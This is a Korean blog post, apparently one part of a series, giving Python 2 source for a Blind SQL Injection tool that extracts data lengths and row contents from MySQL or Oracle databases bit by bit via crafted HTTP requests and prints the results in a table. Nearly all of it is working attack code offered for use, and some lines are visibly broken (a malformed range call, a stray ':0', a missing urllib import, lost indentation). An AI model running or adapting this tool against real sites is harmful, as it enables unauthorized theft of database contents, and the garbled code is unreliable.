▣ 구현(MySQL, Oracle 공통)
1) Function
- requests, prettytable라이브러리 사용 (← 해당 문자 클릭 시 다운로드)
- 데이터길이 조회 HttpRequest함수(POST, GET지원)
: 조회한 데이터 길이가 0(Null)일 경우 “Null-Value”출력
- 데이터 조회 HttpRequest함수(POST, GET지원)
: 조회한 데이터 내 한글포함 시 “Language Exception”출력
- Blind SQL Injection완료 후 DB테이블 형태로 출력(prettytable)
2) CODE
import requests;
from prettytable import PrettyTable;
# Common : Get DataLength List
"""
◈ getDataLength()
: requests라이브러리를 사용하여 데이터 길이를 조회하는 HTTP요청을 실행하는 함수
:
"""
def getDataLength(payload, sqlList) :
binary = ''
answer = ''
result = []
url = payload['url']
# requests라이브러리 내 요청할 session객체 생성, 헤더추가
s = requests.session()
s.headers.update(payload['header'])
fixedParam = payload['fixedParam']
for i in range(0, len(sqlList)) :
for j in range(1, 5) :
try :
# 더 이상 데이터가 존재하지 않는 경우
if binary == '00000000' :
# 기존 추출한 문자열 길이만 삽입, 변수 초기화
result.append(int(answer))
answer =''
binary = ''
break
# 해당 row의 문자열 길이가 0(null)인 경우 예외처리
except ValueError :
# 0 삽입 후 Null-Value메세지 출력
result.append(0)
print "\n****** Null Value Exception ******"
print "Index " + str(i+1) + ' data is NULL.'
break
# DBMS별 길이조회 쿼리 분기
for k in range(1, 9) :
if payload['dbms'].lower() == 'mysql' :
query = getLengthQuery_mysql(payload['frontStr'], sqlList, i, j, k)
elif payload['dbms'].lower() == 'oracle' :
query = getLengthQuery_oracle(payload['frontStr'], sqlList, i, j, k)
# 고정파라미터에 데이터길이를 조회하는 쿼리 추가 후 url인코딩
fixedParam.update({payload['payParam']:query})
param = urllib.urlencode(fixedParam)
# session객체 request후 response를 res변수에 저장
res = s.request(payload['method'], url, params=param)
# 참일 경우 응답에 포함되는 문자열이 응답에 존재할 경우 0 | 존재하지 않을경우 1
if payload['flagStr'].lower() in res.text.lower() :
binary += '0'
else :
binary += '1'
# 8자리의 binary를 모두 출력 시
if len(binary) == 8 :
# 데이터가 추출된 경우
if binary != '00000000' :
answer += unichr(int(binary, 2))
binary = ''
query = ''
# 더 이상 데이터가 존재하지 않는 경우
elif binary == '00000000' :
break
s.close()
return result
# Common : Blind SQL Injection
"""
dataLength : getDataLength()실행 결과 반환받은 각 ROW의 문자열길이 조회쿼리List
querySet : getQuery_XXX()실행 결과 반환받은 각 데이터 조회 쿼리 List
◈ blindSqlInjection()
: requests라이브러리를 사용하여 데이터를 조회하는 HTTP요청을 실행하는 함수
:
"""
def blindSqlInjection(payload, dataLength, querySet) :
binary = ''
answer = ''
blindResult = []
url = payload['url']
s = requests.session()
s.headers.update(payload['header'])
fixedParam = payload['fixedParam']
idx = 0
# 추출하고자 하는 row수만큼 Loop
for l in range(0, payload['row']) :
# 사전에 추출한 데이터 길이만큼 Loop
for i in range, dataLength[l]+1) :
# 추출할 Binary(8자리)만큼 Loop
for j in range(1, 9) :
# 이하 getDataLength()함수와 동일
fixedParam.update({payload['payParam']:querySet[idx]})
param = urllib.urlencode(fixedParam)
res = s.request(payload['method'], url, params=param)
if payload['flagStr'].lower() in res.text.lower() :
binary += '0'
else :
binary += '1'
if len(binary) == 8 :
answer += unichr(int(binary, 2))
binary = ''
idx += 1
# 추출한 데이터 결과 저장
try :
blindResult.append(str(answer))
# 추출한 데이터 내 한국어 포함 시 (Ascii코드 변환 값이 128이상 시) 예외처리
except UnicodeEncodeError :0
print "\n****** Language Exception ******"
print "Index " + str(l+1) + " data is include Korean."
blindResult.append(str('Korean_Data(Ignored)'))
break
answer = ''
s.close()
return blindResult
# Common : Print Result
"""
◈ printResult()
: prettytable라이브러리를 사용하여 Injection결과를 테이블형태로 출력하는 함수
"""
def printResult(payload, dataLengthSet, result):
# Set column_Name
sql = payload['sql']
sql = sql.lower()
sql = sql.split(' ')
colName = sql[1]
# PrettyTable()함수의 인자 값에 컬럼명을 LIST형태로 전달
x = PrettyTable(['Index', 'DataLength', colName])
x.align['Index']
x.padding_width = 1
# add_row()함수로 데이터 LIST를 ROW형태로 추가
for i in range(0, len(result)) :
x.add_row([i+1, dataLengthSet[i], result[i]])
print x
'Python > Tools' 카테고리의 다른 글
| [Python-Tools] Blind SQL Injection Tool - 7 (CX-Freeze) (0) | 2014.12.23 |
|---|---|
| [Python-Tools] Blind SQL Injection Tool - 6 (구현) (0) | 2014.12.23 |
| [Python-Tools] Blind SQL Injection Tool - 4 (구현) (0) | 2014.12.23 |
| [Python-Tools] Blind SQL Injection Tool - 3 (구현) (0) | 2014.12.23 |
| [Python-Tools] Blind SQL Injection Tool - 2 (구현) (0) | 2014.12.23 |